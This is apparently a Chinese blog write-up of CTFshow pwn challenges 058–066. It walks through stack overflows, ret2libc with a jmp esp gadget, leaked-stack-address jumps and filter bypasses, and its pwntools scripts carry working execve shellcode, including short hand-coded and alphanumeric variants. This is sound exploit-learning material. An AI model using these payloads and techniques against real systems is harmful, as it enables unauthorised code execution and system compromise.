058
题目描述
32位 无限制
进入 IDA ,无法反汇编,看到关键代码
call ctfshowadd esp, 10hlea eax, [ebp+s]call eaxmov eax, 0
会把 s 地址传给 eax ,之后会 call,那我们直接传入 shellcode 即可
#! /usr/bin/env python3from pwn import *p = process('./pwn')context(arch='i386', os='linux')payload = asm(shellcraft.sh())p.sendline(payload)p.interactive()
059
题目描述
64位 无限制

同样看见关键处
#! /usr/bin/env python3from pwn import *p = process('./pwn')context.log_level = 'debug'context(arch='amd64', os='linux')shellcode = shellcraft.sh()payload = asm(shellcode)p.sendline(payload)p.interactive()
060
题目描述
入门难度shellcode

初始思路是利用 strncpy 将 shellcode 布局到buf2,但是无法成功
可以看见:

我们并无权限,那么我们需要想办法在栈上布局并控制程序回到栈上

同时注意,IDA 里面是 ebp-64h,但是在实际调试中并不是 0x64,gdb调试中发现

0xffffcbec,main ebp在

0xffffcc58,那么main 返回地址在 0xffffcc5c,那么距离就是 0x70,不是 0x68
ROPgadget 也没有查找到可用的gadget
lmx@lmx:~/pwn/ctfshow/栈溢出/060_pwn60$ objdump -d ./pwn | grep -B1 -A1 "ff e4"lmx@lmx:~/pwn/ctfshow/栈溢出/060_pwn60$ ROPgadget --binary ./pwn | grep "sub esp"那看来可以先打 ret2libc ,之后找到 jmp esp 的地址,再打一遍就行了,第一遍泄露出 puts: 580但是想到自己本地的版本应该是

然后第二次看偏移
lmx@lmx:~/pwn/ctfshow$ python3 -c "from pwn import*;print (cyclic_find(0x6261617a))"100那就是 0x68
#! /usr/bin/env python3from pwn import *context(arch='i386', os='linux')elf = ELF('./pwn')libc = ELF('/lib32/libc.so.6')p = process('./pwn')#p = remote('pwn.challenge.ctf.show', 28218)buf2 = 0x804A080puts_got = elf.got['puts']puts_plt = elf.plt['puts']jmp_esp_off = 0x00115c7dprint(hex(jmp_esp_off))puts_offset = 0x07e580shell = asm(shellcraft.sh())payload = flat(b'a' * 0x70, puts_plt, elf.sym['main'], puts_got)p.recvuntil(b'CTFshow-pwn can u pwn me here!!\n')p.sendline(payload)p.recvuntil(b'See you ~')leak = u32(p.recv(4))log.info('puts: ' + hex(leak))libc_base = leak - puts_offsetlog.info('libc base: ' + hex(libc_base))jmp_esp = libc_base + jmp_esp_offp.recvuntil(b'CTFshow-pwn can u pwn me here!!\n')#print("pid =", p.pid)#pause()#p.sendline(cyclic(200)) payload2 = flat(b'a' * 0x68, jmp_esp, shell) p.sendline(payload2)p.interactive()
看一下官方题解

hyw? 那岂不说靶机直接跳到 buf2 就行了?
061
题目描述
输出了什么?

可以看见泄露了栈的地址,那这个比较简单了
#! /usr/bin/env python3from pwn import *p = process('./pwn')context(arch='amd64', os='linux')shellcode = shellcraft.sh()shellcode = asm(shellcode)p.recvuntil(b'What\'s this : [')leak = p.recvuntil(b']')leak = int(leak[:-1], 16)target = leak + 0x20log.info('leak: ' + hex(leak))log.info('target: ' + hex(target))offset = 0x10 + 8payload = b'a' * offset + p64(target) + shellcodep.sendline(payload)p.interactive()
062
题目描述
短了一点

可以看见 gets 变成了read,那么我们实际上 shellcode 的长度只能 0x18 也就是 24 字节,拷打 AI 写一个小于 24 字节的出来
#! /usr/bin/env python3from pwn import *p = process('./pwn')context(arch='amd64', os='linux')shellcode = ( b"\x48\x31\xf6" b"\x56" b"\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68" b"\x57" b"\x54\x5f" b"\x6a\x3b\x58" b"\x99" b"\x0f\x05")p.recvuntil(b'What\'s this : [')leak = p.recvuntil(b']')leak = int(leak[:-1], 16)target = leak + 0x20log.info('leak: ' + hex(leak))log.info('target: ' + hex(target))offset = 0x10 + 8payload = b'a' * offset + p64(target) + shellcodep.sendline(payload)p.interactive()
063
题目描述
又短了一点

#! /usr/bin/env python3from pwn import *p = process('./pwn')context(arch='amd64', os='linux')shellcode = ( b"\x48\x31\xf6" b"\x56" b"\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68" b"\x57" b"\x54\x5f" b"\x6a\x3b\x58" b"\x99" b"\x0f\x05")p.recvuntil(b'What\'s this : [')leak = p.recvuntil(b']')leak = int(leak[:-1], 16)target = leak + 0x20log.info('leak: ' + hex(leak))log.info('target: ' + hex(target))offset = 0x10 + 8payload = b'a' * offset + p64(target) + shellcodep.sendline(payload)p.interactive()
064
题目描述
有时候开启某种保护并不代表这条路不通

可以看见最后会把buf当函数调用
#! /usr/bin/env python3 from pwn import *p = process('./pwn')context(arch='i386', os='linux')shellcode = shellcraft.sh()shellcode = asm(shellcode)p.recvuntil(b'Some different!\n')payload = shellcodep.sendline(payload)p.interactive()
065
题目描述
你是一个好人
打开 IDA 发现只能看汇编
buf= byte ptr -410hvar_8= dword ptr -8var_4= dword ptr -4; __unwind {push rbpmov rbp, rspsub rsp, 410hmov edx, 14h ; nlea rsi, aInputYouShellc ; "Input you Shellcode\n"mov edi, 1 ; fdmov eax, 0call _writelea rax, [rbp+buf]mov edx, 400h ; nbytesmov rsi, rax ; bufmov edi, 0 ; fdmov eax, 0call _readmov [rbp+var_8], eaxcmp [rbp+var_8], 0jg short loc_11AC这里的话一个是打印 Input you Shellcode,还有一个就是 read 输入,之后把 read 的返回值放在 rbp - 0x8,然后跟 0 去比较 jg 就是 jump than greater , 如果比 0 大那就跳转,这里实际上就是在判断输入是否合法
然后是
loc_11AC:mov [rbp+var_4], 0jmp loc_123A实际上就是 rbp+var_4 看成计数器,将他清零
接下来是
loc_123A:mov eax, [rbp+var_4]cmp eax, [rbp+var_8]jl loc_11B8实际上就是判断是否继续,也就是将目前计数器跟刚实际上读到的字符数进行比较,类似于下标判断
loc_11B8:mov eax, [rbp+var_4]cdqemovzx eax, [rbp+rax+buf]cmp al, 60h ; '`'jle short loc_11DAcdqe 就是 Convert Doubleword to Quadword Extended就是从四字节扩展到八字节,那么 eax 就扩展到了 rax
cmp al, 60h ; '`'jle short loc_11DAcmp al, 7Ah ; 'z'jle short loc_1236这个的话是在比较,如果 ASCII 小于 60h ,那就到 loc_11DA , 如果大于也就是a,继续比较。之后如果小于 z ,那就是到 loc_1236
loc_11DA:mov eax, [rbp+var_4]cdqemovzx eax, [rbp+rax+buf]cmp al, 40h ; '@'jle short loc_11FCmov eax, [rbp+var_4]cdqemovzx eax, [rbp+rax+buf]cmp al, 5Ah ; 'Z'jle short loc_1236loc_11FC:mov eax, [rbp+var_4]cdqemovzx eax, [rbp+rax+buf]cmp al, 2Fh ; '/'jle short loc_121Emov eax, [rbp+var_4]cdqemovzx eax, [rbp+rax+buf]cmp al, 5Ah ; 'Z'jle short loc_1236那么总的来说就是合法字符为
0-9 : ; < = > ? @ A-Z a-z如果不在,那就是
loc_121E:lea rdi, format ; "Good,but not right"mov eax, 0call _printfmov eax, 0jmp short locret_1254即 printf("Good,but not right");return 0;
关键点在于

也就是说只要是输入上述的合法字符,那就直接当成机器码执行
#! /usr/bin/env python3from pwn import *p = process('./pwn')context(arch='amd64', os='linux')p.recvuntil(b'Input you Shellcode\n')shellcode = b"WTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZjcTYfi9O60t800T810T850T860T870T8A0t8B0T8D0T8E0T8F0T8G0T8H0T8P0t8T0T8YRAPZ0t8J0T8M0T8N0t8Q0t8U0t8WZjUTYfi9860t800T850T8P0T8QRAPZ0t81ZjhHpzbinzzzsPHAghriTTI4qTTTT1vVj8nHTfVHAf1RjnXZP"p.send(shellcode)p.interactive()也是拷打 AI 拿到了 shellcode

066
题目描述
简单的shellcode?不对劲,十分得有十二分的不对劲


.rodata:0000000000400F20 unk_400F20 db 5Ah ; Z ; DATA XREF: check+8↑o.rodata:0000000000400F21 db 5Ah ; Z.rodata:0000000000400F22 db 4Ah ; J.rodata:0000000000400F23 db 20h.rodata:0000000000400F24 db 6Ch ; l.rodata:0000000000400F25 db 6Fh ; o.rodata:0000000000400F26 db 76h ; v.rodata:0000000000400F27 db 65h ; e.rodata:0000000000400F28 db 73h ; s.rodata:0000000000400F29 db 20h.rodata:0000000000400F2A db 73h ; s.rodata:0000000000400F2B db 68h ; h.rodata:0000000000400F2C db 65h ; e.rodata:0000000000400F2D db 6Ch ; l.rodata:0000000000400F2E db 6Ch ; l.rodata:0000000000400F2F db 5Fh ; _.rodata:0000000000400F30 db 63h ; c.rodata:0000000000400F31 db 6Fh ; o.rodata:0000000000400F32 db 64h ; d.rodata:0000000000400F33 db 65h ; e.rodata:0000000000400F34 db 2Ch ; ,.rodata:0000000000400F35 db 61h ; a.rodata:0000000000400F36 db 6Eh ; n.rodata:0000000000400F37 db 64h ; d.rodata:0000000000400F38 db 20h.rodata:0000000000400F39 db 68h ; h.rodata:0000000000400F3A db 65h ; e.rodata:0000000000400F3B db 72h ; r.rodata:0000000000400F3C db 65h ; e.rodata:0000000000400F3D db 20h.rodata:0000000000400F3E db 69h ; i.rodata:0000000000400F3F db 73h ; s.rodata:0000000000400F40 db 20h.rodata:0000000000400F41 db 61h ; a.rodata:0000000000400F42 db 20h.rodata:0000000000400F43 db 67h ; g.rodata:0000000000400F44 db 69h ; i.rodata:0000000000400F45 db 66h ; f.rodata:0000000000400F46 db 74h ; t.rodata:0000000000400F47 db 3Ah ; :.rodata:0000000000400F48 db 0Fh.rodata:0000000000400F49 db 5.rodata:0000000000400F4A db 20h.rodata:0000000000400F4B db 65h ; e.rodata:0000000000400F4C db 6Eh ; n.rodata:0000000000400F4D db 6Ah ; j.rodata:0000000000400F4E db 6Fh ; o.rodata:0000000000400F4F db 79h ; y.rodata:0000000000400F50 db 20h.rodata:0000000000400F51 db 69h ; i.rodata:0000000000400F52 db 74h ; t.rodata:0000000000400F53 db 21h ; !.rodata:0000000000400F54 db 0Ah.rodata:0000000000400F55 db 0程序会检查你的输入是否为这些字符串里面的,如果没有,那就是非法
那么第一种思路是把 \x00 放在首位,并把 \x00 后面跟一个合法字符,这样子系统就会解释为其他机器码命令,之后把shellcode跟在后面,还有一种思路就是找一个 \x00开头的shellcode
第一个 payload payload = b's ' + b'\x00' * 0x20 + asm(shellcode)
相当于 73 20 也就是 jae +0x20 73 20刚好在合法字符中。
而想要执行 jae 需要 CF 等于 0,而在 call 之前test eax, eax,此时 test 指令完会把 CF 强制清零 ,那么我们就能顺利执行了。
第二个 payload:
#! /usr/bin/env python3from pwn import *p = process('./pwn')context(arch='amd64', os='linux')shellcode = ( b"\x00\xc0" # add al, al b"\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73" b"\x50\x48\x89\xe7\x68\x72\x69\x01\x01\x81\x34\x24" b"\x01\x01\x01\x01\x31\xf6\x56\x6a\x08\x5e\x48\x01" b"\xe6\x56\x48\x89\xe6\x31\xd2\x6a\x3b\x58\x0f\x05")p.recvuntil(b'Your shellcode is :\n')p.sendline(shellcode)p.interactive()

读者回信
正在翻开留言页...